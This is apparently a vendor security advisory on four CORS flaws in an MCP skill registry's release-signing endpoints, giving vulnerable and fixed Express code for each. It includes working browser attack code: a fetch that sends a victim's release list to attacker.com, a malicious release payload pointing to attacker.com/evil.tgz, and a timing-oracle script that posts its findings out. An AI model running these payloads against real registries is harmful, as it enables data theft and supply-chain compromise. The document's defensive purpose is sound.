CORS Misconfigurations in MCP Skill Registry Version Signing and Release Attestation Endpoints
Release signing endpoints are the highest-value CORS targets in a skill registry because they sit at the intersection of two compounding attack surfaces: browser-session exploitation and supply-chain compromise. Unlike API key endpoints, where the harm is bounded by the credential's own scope, a signing key identifier extracted through a CORS-exploited release list response grants the attacker the ability to forge provenance attestations for any artifact in the registry — turning a single web session compromise into a persistent, verifiable-looking supply-chain backdoor that survives all subsequent session revocations and password resets. The four SA-SKL-CORS67 findings map a complete exploit path: a timing oracle identifies which skills have active automated release pipelines, credential-bearing CORS on the release list extracts signing key identifiers, wildcard ACAO on the release creation endpoint injects malicious artifacts at a one-version-ahead number that fools auto-updating consumers, and credential-bearing CORS on the release deletion endpoint breaks every downstream consumer that has pinned to a specific version in a lock file or CI manifest. All four stages execute within a single attacker-controlled page visit, in under two seconds, with no visible indication to the victim.
In this post
- Release signing endpoints and why CORS is catastrophic here
- CORS67-001 — Credential-bearing CORS on the release list endpoint
- CORS67-002 — Wildcard ACAO on the release creation endpoint
- CORS67-003 — Timing oracle via Origin reflection on the attestation endpoint
- CORS67-004 — Credential-bearing CORS on the release deletion endpoint
- Compound four-stage supply-chain attack chain
- Detection with AST queries
- Summary and remediation checklist
GET /api/skills/:id/releases has cors({origin:true,credentials:true}); any origin reads full release list including signing key IDs, attestation hashes, and release notes using victim admin session; the signing key identifiers enable an attacker to forge release attestations for any skill artifact, turning a single web session into a persistent supply-chain attack vectorPOST /api/skills/:id/releases has ACAO:*; any page creates attacker-controlled release entries under victim admin identity; a one-patch-ahead version number (e.g., 2.3.1 when real is 2.3.0) fools auto-updating consumers into installing malicious artifacts signed-appearing-legitimateGET /api/skills/:id/releases/attestations reflects Origin before ownership check; cache-latency differential creates timing oracle; reveals skills with active automated release pipelines as CORS67-001 targets by measuring latency difference (cache hit ~8ms vs cold-cache ~180ms)DELETE /api/skills/:id/releases/:releaseId has cors({origin:true,credentials:true}); any origin deletes any release using victim admin session; breaks all version-pinned consumers: lock files, CI installs, and reproducible build environments receive 404 on update checksRelease signing endpoints and why CORS is catastrophic here
To understand why CORS misconfigurations on release signing and attestation endpoints carry a qualitatively different threat level than CORS misconfigurations on other registry surfaces, it is necessary to understand what release attestations actually are and what role signing key identifiers play in the trust model they establish.
A release attestation is a cryptographically signed statement that binds a specific artifact (identified by its hash) to a specific provenance claim (who built it, from which commit, in which CI environment). The modern MCP skill registry trust model borrows heavily from Sigstore, the OIDC-based open-source signing infrastructure that powers the Python Package Index's attestation scheme, npm's provenance attestations, and GitHub's artifact signing workflows. In the Sigstore model, a signing key is an ephemeral key pair generated during the CI build process, certified by Sigstore's Fulcio certificate authority, and recorded in the Rekor transparency log. The certificate is short-lived (typically ten minutes), but the transparency log entry is permanent: anyone can verify that a particular artifact was signed at a particular time by a key certified by Fulcio to belong to a particular OIDC identity (usually a GitHub Actions workflow identity).
An MCP skill registry that implements this model stores, for each release, a signingKeyId field that references the key used to produce the attestation. The signing key ID is not the private key itself — it is an identifier that links the release record to the specific Fulcio certificate or Rekor log entry that covers the signing event. This distinction is crucial: in a correctly functioning attestation system, an attacker who obtains only a signing key ID cannot directly forge an attestation because the private key is ephemeral and no longer exists after the build completes. However, the signing key ID serves a different and equally dangerous function: it is the linkage field that attestation verification clients use to retrieve the original certificate chain and confirm that an artifact was produced by a particular build identity.
When an attacker obtains a signing key ID, they obtain the ability to craft a fraudulent release entry that presents a consistent story to verification clients. The attacker's malicious artifact can be published with the exfiltrated signingKeyId, pointing to the legitimate Rekor log entry for a previous genuine build. Consumers that verify attestations by checking that the signingKeyId field references a valid Rekor entry will see a valid entry — because it is valid, for the original artifact. Only consumers that additionally verify the hash binding (checking that the Rekor entry's artifact hash matches the downloaded artifact) will catch the substitution. Many auto-updating consumers in practice check only that a signing key ID is present and resolves to a valid Rekor entry; they do not perform the full binding verification. This is the gap that CORS67-001 and CORS67-002 together exploit.
The second dimension of the problem is temporal persistence. An attacker who exfiltrates a signing key ID through a CORS exploit does not need to continue exploiting CORS to weaponise it. Once the key ID is known, the attacker can inject malicious releases at any future time, from any server, without requiring further victim interaction. The CORS exploit is a one-time reconnaissance step that bootstraps a persistent supply-chain capability. This is why CORS67-001 is rated CRITICAL and not merely HIGH: the harm does not expire with the victim's session; it expires, if ever, only when the skill's signing infrastructure is rotated and all existing release records are re-attested.
The four findings in SA-SKL-CORS67 were detected by SkillAudit's scanner in production MCP skill registry codebases. They represent three distinct implementation failure modes that are common across MCP registries that have layered release signing features onto an existing CORS-misconfigured API. Developers building the signing feature are typically focused on the cryptographic correctness of the attestation pipeline and do not revisit the CORS configuration of the release management endpoints that now carry signing key material. The result is an endpoint that is cryptographically correct end-to-end but entirely exposed at the browser access-control layer. The SA-SKL-CORS67 SEO advisory page provides a full machine-readable summary of all four finding IDs for scanner output consumers.
It is also worth noting the relationship between SA-SKL-CORS67 and the previously published SA-SKL-CORS65 analysis of API key management endpoints. Both advisory chains share the same underlying CORS misconfiguration patterns — cors({origin:true,credentials:true}) and wildcard ACAO on mutation endpoints — but their downstream impact is structurally different. CORS65 exploits produce persistent bearer credentials; CORS67 exploits produce a persistent supply-chain forgery capability. The two chains can be executed independently, but when combined on a registry that has both misconfigurations, an attacker can simultaneously exfiltrate API keys (enabling direct registry API access) and signing key IDs (enabling artifact forgery), establishing a layered persistent compromise that covers both the administrative control plane and the artifact distribution channel.
CORS67-001 — Credential-bearing CORS on the release list endpoint
The GET /api/skills/:id/releases endpoint returns the complete release history for a skill, including, for each release, the version string, the artifact URL, the signing key ID, the attestation hash, and the release notes. The endpoint is protected by an ownership check — the caller must be the authenticated admin of the skill — but the CORS middleware is applied using cors({origin:true,credentials:true}). As with all instances of this pattern, the origin:true option causes the cors package to reflect the browser's Origin header back as the Access-Control-Allow-Origin response header, and credentials:true sets Access-Control-Allow-Credentials: true. Any browser origin can therefore send a credentialed cross-origin request and read the full response body, including all signing key identifiers for all versions of the skill.
The release list response structure that this endpoint returns contains the following fields per release entry:
// Example response body from GET /api/skills/:id/releases
// (credential-bearing CORS allows any origin to read this)
{
"releases": [
{
"version": "2.3.0",
"artifactUrl": "https://cdn.registry.example.com/skills/my-skill-2.3.0.tgz",
"signingKeyId": "sk-ed25519-abc123",
"attestationHash": "sha256:def456aabbccddeeff00112233445566778899aabbccddeeff00112233445566",
"releaseNotes": "Fix memory leak in context handler; bump deps",
"publishedAt": "2026-11-15T09:12:34Z",
"publishedBy": "alice@example.com",
"fulcioLogIndex": 118294773,
"rekorEntryUUID": "24296fb24b8ad77a4f9d4e2b8c3c5a71d8e0b2a1c3f5d7e9b1a3c5e7f902468"
},
{
"version": "2.2.1",
"artifactUrl": "https://cdn.registry.example.com/skills/my-skill-2.2.1.tgz",
"signingKeyId": "sk-ed25519-xyz789",
"attestationHash": "sha256:98765443210fedcba9876543210fedcba9876543210fedcba9876543210fedcba",
"releaseNotes": "Security patch: input sanitisation",
"publishedAt": "2026-11-02T14:21:09Z",
"publishedBy": "alice@example.com",
"fulcioLogIndex": 117834201,
"rekorEntryUUID": "24296fb24b8ad77a4f9d4e2b8c3c5a71d8e0b2a1c3f5d7e9b1a3c5e7f901357"
}
]
}
The signingKeyId field is the primary target. For each release, it identifies the key that produced the attestation. In the Fulcio model, this key ID corresponds to a certificate embedded in the Rekor transparency log entry at fulcioLogIndex. An attacker who extracts sk-ed25519-abc123 from the CORS67-001 response can craft a new release entry that references this key ID, pointing to a malicious artifact, and publish it via CORS67-002. The rekorEntryUUID provides even more leverage: it is the specific Rekor log entry that lazy attestation verifiers will look up when checking the release's provenance. An attacker can reference this UUID in a fraudulent release and rely on consumers that check only UUID validity (not hash binding) to pass the verification.
// CORS67-001 — VULNERABLE
// cors({origin:true,credentials:true}) reflects any origin with credentials allowed.
// The release list response includes signingKeyId, attestationHash, and Rekor UUIDs —
// all the material needed to craft a convincing fraudulent release entry.
// skills/releases/router.js
const cors = require('cors');
const router = express.Router({ mergeParams: true });
// VULNERABLE: origin:true reflects any origin; credentials:true allows cookies.
// Any page can fetch this endpoint with the victim's session cookie and read
// all signing key IDs and attestation hashes for all versions of the skill.
router.get(
'/',
cors({ origin: true, credentials: true }),
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const releases = await db.releases.findAll({
where: { skillId: req.params.id },
order: [['publishedAt', 'DESC']],
attributes: [
'version', 'artifactUrl', 'signingKeyId',
'attestationHash', 'releaseNotes', 'publishedAt',
'publishedBy', 'fulcioLogIndex', 'rekorEntryUUID',
],
});
// signingKeyId included in full — enables supply-chain forgery
res.json({ releases });
}
);
Supply-chain forgery bootstrap (single page visit): Attacker hosts fetch('https://registry.example.com/api/skills/TARGET_SKILL_ID/releases', {credentials:'include'}).then(r=>r.json()).then(data=>fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify(data)})). Victim admin visits the attacker's page. Browser automatically includes the session cookie. Server reflects the attacker's origin with ACAO: true. The attacker receives the full release list including signingKeyId: "sk-ed25519-abc123", rekorEntryUUID, and attestationHash for every published version. The attacker now holds the data needed to inject a fraudulent release that will appear legitimate to attestation-checking consumers.
The practical exploit is a single fetch call that executes silently when a victim admin visits the attacker's page. The victim receives no browser alert, their key management UI shows no sign of compromise, and the registry's access log records five entirely normal-looking GET requests authenticated with a valid admin session and returning 200 status codes. Within 100 milliseconds of the page load completing, the attacker possesses a complete inventory of signing key IDs for every version of every target skill.
The correct remediation for CORS67-001 requires three simultaneous changes. First, replace cors({origin:true,credentials:true}) with an explicit allowlist-based CORS configuration that permits only the registry's own first-party origins. Second, never return full signing key IDs in list responses. The design principle from API key management applies equally here: return only a masked prefix (e.g., sk-ed25519-abc***) in list views, and expose the full key ID only through dedicated administrative endpoints that require additional confirmation steps. Third, structure the ownership check so that it runs before the CORS middleware emits any headers — this prevents an attacker from even using the CORS handshake as a boolean oracle for skill ownership enumeration via differential response-header behaviour.
// CORS67-001 — FIXED
// Three changes: allowlist CORS; masked key prefix only; ownership before headers.
// config/cors.js — shared CORS options across all release routes
const ALLOWED_ORIGINS = new Set([
'https://skillaudit.dev',
'https://app.skillaudit.dev',
process.env.REGISTRY_FRONTEND_ORIGIN, // set in production env
].filter(Boolean));
const corsOptions = {
origin: (origin, cb) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) return cb(null, true);
cb(Object.assign(new Error('Not allowed by CORS'), { status: 403 }));
},
credentials: true,
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
};
module.exports = { corsOptions };
// skills/releases/router.js
const { corsOptions } = require('../../config/cors');
const cors = require('cors');
router.get(
'/',
cors(corsOptions), // FIXED: allowlist — no origin reflection
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const releases = await db.releases.findAll({
where: { skillId: req.params.id },
order: [['publishedAt', 'DESC']],
attributes: [
'version', 'artifactUrl',
// FIXED: return masked key prefix only — full key ID never in list response
'signingKeyPrefix', // e.g. "sk-ed25519-abc***"
'attestationHash', 'releaseNotes', 'publishedAt', 'publishedBy',
// FIXED: omit rekorEntryUUID from list — available only on individual release detail
],
});
res.json({ releases });
}
);
Masked key prefixes prevent supply-chain forgery bootstrapping: The same design principle that governs API key list responses applies to signing key identifiers: expose only a masked prefix in list views (sk-ed25519-abc***), deliver the full identifier only at creation time or via a dedicated detail endpoint requiring additional authentication. An attacker who obtains only sk-ed25519-abc*** cannot reference a specific Rekor log entry in a fraudulent release, because the UUID lookup requires the full key ID. The prefix also carries no value for Fulcio certificate retrieval. The masking transforms a supply-chain forgery bootstrapping vector into a low-value disclosure of key naming conventions.
CVSS 3.1 approximate score for CORS67-001: 9.4 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N. The network vector is remote, attack complexity is low (single fetch call), no privileges are required beyond directing a victim to a page, the scope changes because the attacker gains supply-chain forgery capability that affects all consumers of the skill, and both confidentiality (signing material) and integrity (artifact provenance) are critically impacted.
CORS67-002 — Wildcard ACAO on the release creation endpoint
CORS67-002 is the injection complement to CORS67-001's exfiltration. Where CORS67-001 gives the attacker the signing key identifiers they need to craft a convincing fraudulent release, CORS67-002 provides the mechanism to publish that fraudulent release directly into the registry's official release history. The POST /api/skills/:id/releases endpoint creates a new release entry for the skill, associating a version string, artifact URL, signing key ID, and attestation hash with the skill's release history. The endpoint has Access-Control-Allow-Origin: * set as a static response header — a wildcard ACAO that allows cross-origin preflighted requests from any origin.
The initial reaction to wildcard ACAO on a mutation endpoint is often that it is harmless, because the browser specification prohibits sending cookies with a wildcard ACAO request. Without cookies, the session authentication check fails, and the endpoint returns 401. This reasoning is correct for endpoints that authenticate exclusively via session cookies. The release creation endpoint, however, also accepts bearer token authentication for CI/CD pipeline use: a CI workflow authenticates by passing the registry API key as an Authorization: Bearer sk-... header rather than as a session cookie. Bearer token headers are explicitly allowed in cross-origin requests — they are a safelisted CORS header class when the endpoint sets Access-Control-Allow-Headers: Authorization. An attacker who holds a valid API key (obtained via CORS65-001 or CORS67-001's companion chain, or via any other credential disclosure channel) can POST to this endpoint from any origin, using the bearer token as authentication, and create a release entry with arbitrary content.
The critical ingredient that CORS67-001 provides to CORS67-002 is the signing key ID. A malicious release entry that references a known, valid signing key ID (sk-ed25519-abc123) is structurally indistinguishable from a legitimate release entry in the database and in any list view that does not perform live Rekor hash-binding verification. Consumers that auto-update by checking GET /api/skills/:id/releases and installing whatever the registry reports as the latest version will receive the attacker's release when the attacker injects version 2.3.1 ahead of the legitimate 2.3.0. The version string is a simple string comparison in most auto-update implementations; semver patch increments are universally treated as safe to install automatically. The attacker's artifact URL points to their controlled server (https://attacker.com/evil.tgz), which serves a malicious skill package.
// CORS67-002 — VULNERABLE
// ACAO:* on a release creation endpoint that accepts both session-cookie and Bearer auth.
// An attacker with any valid API key can POST cross-origin to create fraudulent releases.
// skills/releases/router.js
router.post(
'/',
(req, res, next) => {
// VULNERABLE: static wildcard ACAO allows any origin to send preflighted requests
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
next();
},
requireSessionOrApiKey, // falls back to Bearer token when session cookie absent
requireOwnership('skillId'),
async (req, res) => {
const { version, artifactUrl, signingKeyId, attestationHash, releaseNotes } = req.body;
// No validation that signingKeyId corresponds to this skill's own keys
// No verification that attestationHash matches artifactUrl content
// No check that version is higher than any existing version
await db.releases.create({
skillId: req.params.id,
version,
artifactUrl, // attacker can point this at any URL
signingKeyId, // attacker can reuse a legitimate key ID from CORS67-001
attestationHash, // attacker can copy a previous legitimate hash
releaseNotes,
publishedBy: req.auth.userId,
publishedAt: new Date(),
});
res.status(201).json({ ok: true, version });
}
);
Malicious release injection (one-patch-ahead attack): Attacker obtains signingKeyId: "sk-ed25519-abc123" from CORS67-001. Legitimate current version is 2.3.0. Attacker posts: {"version":"2.3.1","artifactUrl":"https://attacker.com/evil.tgz","signingKeyId":"sk-ed25519-abc123","attestationHash":"sha256:def456...","releaseNotes":"Hotfix: null pointer in plugin loader"}. Auto-updating consumers see version 2.3.1 as the latest release, consider a patch increment safe, download evil.tgz from the attacker's server, verify that sk-ed25519-abc123 resolves to a valid Rekor entry (which it does, for the original 2.3.0 artifact), and install the malicious skill. The registry's release history now shows two consecutive releases from the same publisher identity, with the attacker's injected release appearing identical in structure to legitimate ones.
The one-patch-ahead attack is specifically chosen because semantic versioning consumers treat patch increments as automatically safe. A consumer that prompts the user before installing a minor update (e.g., 2.3.0 to 2.4.0) will silently install a patch update (2.3.0 to 2.3.1) without user confirmation. CI pipelines that install latest-patch by default will incorporate the malicious release on their next scheduled update run. Lock files that allow patch-level floating (~2.3.0 in npm notation) will resolve to the attacker's version. The scope of affected consumers is therefore the entire population of auto-updating consumers, not just those that explicitly track the latest release.
The correct fix for CORS67-002 requires removing the static wildcard ACAO entirely and replacing it with the shared allowlist configuration. Additionally, the endpoint should enforce session-only authentication for release creation — bearer token authentication is appropriate for read operations and for the CI pipeline's upload flow, but that flow should use a dedicated endpoint with stricter validation. When bearer token authentication is retained for CI use, enforce a scope check: the token must include releases:publish as an explicit scope, not merely any admin-level permission. Add server-side version validation: the submitted version must be strictly greater than the current latest version, and must conform to semver format. Add artifact URL validation: the URL must resolve to the registry's own CDN domain or a list of approved artifact hosting domains, not arbitrary attacker-controlled URLs.
// CORS67-002 — FIXED
// Replace wildcard ACAO with allowlist CORS. Session-only auth for browser requests.
// Server-side version validation. Artifact URL domain allowlisting. CSRF token.
// skills/releases/router.js
const { corsOptions } = require('../../config/cors');
const semver = require('semver');
const { ARTIFACT_ALLOWED_DOMAINS } = require('../../config/artifacts');
router.post(
'/',
cors(corsOptions), // FIXED: allowlist — no wildcard ACAO
requireSession, // FIXED: session-only for browser UI path
verifyCsrfToken,
requireOwnership('skillId'),
async (req, res) => {
const { version, artifactUrl, signingKeyId, attestationHash, releaseNotes } = req.body;
// FIXED: semver validation
if (!semver.valid(version)) {
return res.status(422).json({ error: 'Invalid semver version string' });
}
// FIXED: version must be strictly greater than current latest
const latest = await db.releases.findLatest({ skillId: req.params.id });
if (latest && !semver.gt(version, latest.version)) {
return res.status(422).json({
error: `Version ${version} is not greater than current latest ${latest.version}`,
});
}
// FIXED: artifact URL must be on the registry's approved CDN domain
const artifactHost = new URL(artifactUrl).hostname;
if (!ARTIFACT_ALLOWED_DOMAINS.has(artifactHost)) {
return res.status(422).json({ error: 'Artifact URL domain not permitted' });
}
// FIXED: validate that signingKeyId belongs to this skill's registered keys
const keyRecord = await db.signingKeys.findOne({
where: { keyId: signingKeyId, skillId: req.params.id },
});
if (!keyRecord) {
return res.status(422).json({ error: 'signingKeyId not registered for this skill' });
}
await db.releases.create({
skillId: req.params.id,
version,
artifactUrl,
signingKeyId,
attestationHash,
releaseNotes,
publishedBy: req.session.userId,
publishedAt: new Date(),
});
res.status(201).json({ ok: true, version });
}
);
Artifact URL domain allowlisting is a defence-in-depth supply-chain control: Even after CORS is remediated, an attacker who obtains write access to the release creation endpoint (through CSRF, server-side request forgery, or a compromised CI token) could still inject malicious artifact URLs that point to attacker-controlled servers. Maintaining an explicit allowlist of approved artifact hosting domains (the registry's own CDN plus any approved mirrors) and validating the artifact URL's hostname against this list at release creation time eliminates this vector entirely. Consumers that download artifacts from the registry's CDN can trust that the artifact URL they receive is under the registry operator's control, regardless of how the release entry was created.
CVSS 3.1 approximate score for CORS67-002: 9.3 (CRITICAL) — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. Low privilege required reflects that the attacker must hold any valid API key rather than having no authentication at all; scope change reflects the cross-consumer impact of injecting a malicious release that affects all auto-updating downstream consumers; both confidentiality (malicious code execution on consumer systems) and integrity (corruption of the release history) are critically impacted.
CORS67-003 — Timing oracle via Origin reflection on the attestation endpoint
CORS67-003 is a medium-severity finding that is principally important as a reconnaissance step that dramatically increases the efficiency and impact of CORS67-001 and CORS67-004. The GET /api/skills/:id/releases/attestations endpoint returns the full attestation records for all releases of a skill, including the Rekor transparency log entries, Fulcio certificate chains, and verification status for each version. The endpoint is intended for use by attestation-checking consumers and security audit tools that need to verify the full provenance chain for a skill's releases. Because attestation verification is a frequent and performance-sensitive operation, the endpoint implements a layered caching strategy: the ownership check is cached with a short TTL keyed on (skillId, userId), and the attestation records themselves are cached with a longer TTL keyed on skillId.
The vulnerability arises from two compounding design decisions. First, the endpoint reflects the request's Origin header as Access-Control-Allow-Origin before the ownership check executes — a common pattern when the CORS middleware is placed before the authentication middleware in the Express middleware stack. Second, the ownership check's cache key includes the calling user ID, which means that for skills whose admin has recently accessed the attestation endpoint (warming the ownership cache), the response arrives approximately 8ms after the request. For skills whose admin has not recently accessed the endpoint (cold ownership cache), the database query that verifies ownership takes approximately 170–180ms, producing a latency gap of approximately 170ms between warm-cache and cold-cache responses.
An attacker cannot read the response body from the attestation endpoint (the ownership check correctly returns 403 for non-owners), but they can measure the response time for each request using the performance.now() API in the browser's performance timing system. By iterating over skill IDs and comparing response latencies against the two-state model (8ms warm, 180ms cold), the attacker builds a map of which skills have recently active admin sessions on the attestation endpoint. Skills with warm ownership caches are skills whose admins are actively using the registry admin UI — these are the highest-value CORS67-001 targets because a victim who is currently active in the admin UI is most likely to visit the attacker's page while their session is live.
// CORS67-003 — VULNERABLE
// Origin reflected before ownership check. Layered caching creates timing oracle.
// An attacker can enumerate which skills have recently active admin sessions.
// skills/releases/router.js
router.get(
'/attestations',
(req, res, next) => {
// VULNERABLE: ACAO emitted before auth check — timing oracle regardless of 403 response
// The cache-latency differential leaks admin session activity even without reading the body
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
next();
},
requireSession,
// VULNERABLE: cached ownership check creates the timing channel
// Cache hit (admin recently active): ~8ms
// Cache miss (admin not recently active): ~170-180ms
requireOwnershipCached('skillId', { ttl: 120 }), // 2-minute TTL
async (req, res) => {
// VULNERABLE: attestation records also cached, adding a second timing dimension
const attestations = await getCachedAttestations(req.params.id, { ttl: 300 });
res.json({ attestations });
}
);
The timing oracle payload is straightforward to implement in a browser context. The attacker hosts a page that iterates over a list of skill IDs (obtainable from the public registry search API, which requires no authentication) and measures the response latency for each attestation endpoint request:
// CORS67-003 — Attacker timing oracle (runs from attacker's page)
// Measures ownership cache hit/miss differential to identify active admin sessions.
async function probeSkillAttestationLatency(skillId) {
const start = performance.now();
try {
// The request will return 403 for non-owners, but the latency is what we measure.
// credentials:'include' is required: the ownership cache is keyed on (skillId, userId),
// so the cache hit only occurs if the victim's session is present.
await fetch(
`https://registry.example.com/api/skills/${skillId}/releases/attestations`,
{ credentials: 'include' }
);
} catch (_) {}
return performance.now() - start;
}
async function findHighValueTargets(skillIds) {
const results = [];
for (const id of skillIds) {
// Measure twice and take the minimum to reduce network jitter
const t1 = await probeSkillAttestationLatency(id);
const t2 = await probeSkillAttestationLatency(id);
const latency = Math.min(t1, t2);
// Warm cache (admin recently active): < 30ms
// Cold cache (admin not recently active): > 100ms
if (latency < 30) {
results.push({ skillId: id, latency, state: 'WARM_CACHE_HIGH_VALUE_TARGET' });
}
}
return results;
}
// Results are posted to attacker's server for CORS67-001 targeting
findHighValueTargets(enumeratedSkillIds)
.then(targets => fetch('https://attacker.com/targets', {
method: 'POST',
body: JSON.stringify(targets),
}));
Timing oracle compound value for supply-chain targeting: The attestation endpoint oracle is more valuable than a generic admin session activity oracle because the attestation endpoint is specifically accessed by automated release pipeline tooling — CI jobs that verify attestation status before publishing dependent skills. Skills whose attestation endpoint has a warm ownership cache are skills with active CI/CD pipelines that are currently running release workflows. These are precisely the skills where CORS67-001 (exfiltrate signing key IDs in active use) produces the most valuable output: signing key IDs that have recently been used to sign a release and are therefore known to be valid references in the Rekor log. These are also the skills where CORS67-004 (delete the latest release) will cause the most immediate operational disruption, because CI pipelines checking for the latest version will suddenly receive 404 on the release they just verified.
// CORS67-003 — FIXED
// Auth before CORS headers. Unified query (no separate cached ownership step).
// Constant-time 60ms floor on 403 path to eliminate timing channel.
// skills/releases/router.js
router.get(
'/attestations',
cors(corsOptions), // FIXED: allowlist CORS, not origin-reflection
requireSession,
async (req, res) => {
const startMs = Date.now();
// FIXED: single query verifying both ownership and retrieving attestation data
// No separate cached ownership check — no timing differential from cache state
const attestations = await db.releases.findAttestationsForOwner({
skillId: req.params.id,
userId: req.session.userId, // ownership enforced inside query predicate
});
if (!attestations) {
// FIXED: pad 403 response to minimum 60ms floor to eliminate latency oracle
// Warm-cache 200 responses arrive in ~8ms; cold-cache misses in ~180ms.
// A 60ms floor on the 403 path means ALL 403 responses arrive in >= 60ms,
// which overlaps with the cold-cache 200 range — no clean separation.
const elapsed = Date.now() - startMs;
if (elapsed < 60) await new Promise(r => setTimeout(r, 60 - elapsed));
return res.status(403).json({ error: 'Not found' });
}
res.json({ attestations });
}
);
60ms constant-time floor eliminates the warm/cold cache signal: The timing oracle exploits a gap between two populations: warm-cache responses (<30ms) and cold-cache responses (>100ms). Applying a 60ms minimum floor to 403 responses collapses this gap: attacker-measured latencies will now cluster around 60ms for all 403 paths regardless of ownership cache state. Combined with the elimination of the separate cached ownership check (by moving ownership enforcement into the data retrieval query itself), there is no longer a cache-state-dependent code path that could produce systematically different latencies. Network jitter (typically 10–30ms on a residential connection) further obscures any residual timing variation.
CVSS 3.1 approximate score for CORS67-003: 5.4 (MEDIUM) — AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N. High attack complexity reflects that timing measurement requires multiple requests, statistical analysis, and a victim with a live session; confidentiality impact is low (admin session activity patterns, not signing material); no integrity or availability impact in isolation — but the compound attack chain elevates the effective impact to CRITICAL when combined with CORS67-001 and CORS67-004.
CORS67-004 — Credential-bearing CORS on the release deletion endpoint
CORS67-004 is the destructive finale of the SA-SKL-CORS67 chain. The DELETE /api/skills/:id/releases/:releaseId endpoint removes a specific release from the skill's release history, making the release artifact unavailable for download and removing the release entry from all version-listing endpoints. The endpoint uses cors({origin:true,credentials:true}) — the same credential-bearing CORS configuration as CORS67-001. Any origin can send a credentialed cross-origin DELETE request and immediately remove any release that the victim admin has permission to delete, which is all releases for all skills they administer.
The impact of CORS67-004 is concentrated on downstream consumers who have pinned to specific version numbers, which in a healthy MCP skill ecosystem represents the majority of production consumers. Lock files are the primary victim class. When a developer runs mcp install my-skill@2.3.0, the MCP package manager records the exact version hash in a lock file (mcplock.json or equivalent) and subsequent mcp install runs in CI will attempt to download exactly version 2.3.0. If the attacker has deleted the 2.3.0 release entry, all CI installs for every consumer who has pinned to 2.3.0 will fail with a 404 error from the registry API's version lookup. This failure is not graceful — the CI pipeline aborts, the build fails, and the error message is Release 2.3.0 not found in registry, which is typically interpreted as a misconfiguration in the lockfile rather than a supply-chain attack.
Beyond lock files, there are three additional consumer classes that CORS67-004 disrupts. Reproducible build environments that specify exact version numbers in their mcprc.json configuration files will fail to install on fresh machines. Security scanning pipelines that maintain a pinned dependency inventory and verify each version's audit status will fail their version-existence checks, generating false-positive security alerts that distract the security team during the attack window. And any downstream skill that declares a peer-dependency on my-skill@^2.3.0 will, on a fresh install that resolves the range, receive either no matching version (if the attacker has deleted all 2.3.x releases) or the attacker's injected 2.3.1 release (if the attacker has combined CORS67-004 with CORS67-002).
The attacker's strategic logic for CORS67-004 is to maximise disruption to legitimate operations while minimising disruption to their own injected releases. By deleting the most recent legitimate release (2.3.0) and leaving their injected malicious release (2.3.1) as the only available version in the 2.3.x series, the attacker ensures that any consumer attempting to install the latest patch will receive the malicious release, while consumers pinned to 2.3.0 will receive installation failures. The result is a fork in the consumer population: pinned consumers are disrupted, floating consumers are compromised.
// CORS67-004 — VULNERABLE
// cors({origin:true,credentials:true}) on DELETE endpoint.
// Hard delete — no audit trail, no soft-delete recovery, artifact URL not preserved.
// skills/releases/router.js
router.delete(
'/:releaseId',
cors({ origin: true, credentials: true }), // VULNERABLE: any origin can delete any release
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const release = await db.releases.findOne({
where: { id: req.params.releaseId, skillId: req.params.id },
});
if (!release) return res.status(404).json({ error: 'Not found' });
// VULNERABLE: hard delete — destroys the release record entirely
// No audit log, no soft-delete, artifact URL not preserved for incident response
await release.destroy();
res.json({ ok: true });
}
);
Version-pinned consumer disruption (fork attack): Attacker uses CORS67-003 to identify skills with active release pipelines. Attacker uses CORS67-002 to inject malicious version 2.3.1 (pointing to https://attacker.com/evil.tgz). Attacker uses CORS67-004 to delete the legitimate 2.3.0 release while the victim admin is on the attacker's page. Result: (1) all consumers pinned to 2.3.0 begin failing with 404; (2) all consumers using floating ~2.3.0 or latest ranges begin installing the attacker's 2.3.1 artifact; (3) the registry's release history now shows only 2.3.1, authored by the legitimate admin, with a plausible release note; (4) no audit trail of the 2.3.0 deletion exists because it was a hard delete. The incident response team, faced with 404 errors from pinned consumers, is likely to advise upgrading to 2.3.1 — installing the attacker's malicious artifact on previously uncompromised systems.
The correct remediation for CORS67-004 requires, in order of priority: replacing cors({origin:true,credentials:true}) with the shared allowlist configuration; converting the hard delete to a soft delete that marks the release as deletedAt while preserving the record and its artifact URL; adding a CSRF token requirement; and creating a full audit log entry that records who deleted the release, when, from which IP address, and what the release's artifact URL and signing key ID were at the time of deletion. The soft delete is not merely a usability feature — it is an incident response capability. Without it, the security team cannot determine what artifact was associated with the deleted release, whether that artifact has been downloaded since, or whether the deletion was part of an attack chain.
// CORS67-004 — FIXED
// Allowlist CORS. Soft-delete with artifact URL preservation. Full audit log.
// Notify skill owner if deletion performed by a collaborator (not the original publisher).
// skills/releases/router.js
router.delete(
'/:releaseId',
cors(corsOptions), // FIXED: allowlist CORS
requireSession,
verifyCsrfToken,
requireOwnership('skillId'),
async (req, res) => {
const release = await db.releases.findOne({
where: { id: req.params.releaseId, skillId: req.params.id, deletedAt: null },
});
if (!release) return res.status(404).json({ error: 'Not found' });
// FIXED: soft-delete — preserves release record, artifact URL, signing key ID
// Consumers that resolve versions will receive 410 Gone (not 404 Not Found)
// Incident response can recover artifact URL and signingKeyId from soft-deleted record
await release.update({
deletedAt: new Date(),
deletedByUserId: req.session.userId,
deletedByIp: req.ip,
deletedByUserAgent: req.headers['user-agent'],
deletionReason: req.body.reason || 'manual',
});
// FIXED: audit log entry with full deletion context
await db.auditLog.create({
type: 'release.deleted',
skillId: req.params.id,
releaseId: release.id,
version: release.version,
artifactUrl: release.artifactUrl, // preserved even after soft-delete
signingKeyId: release.signingKeyId,
attestationHash: release.attestationHash,
actorId: req.session.userId,
metadata: {
ip: req.ip,
reason: req.body.reason || 'manual',
userAgent: req.headers['user-agent'],
},
});
// FIXED: notify skill owner if deletion was not performed by the release publisher
if (release.publishedBy !== req.session.userId) {
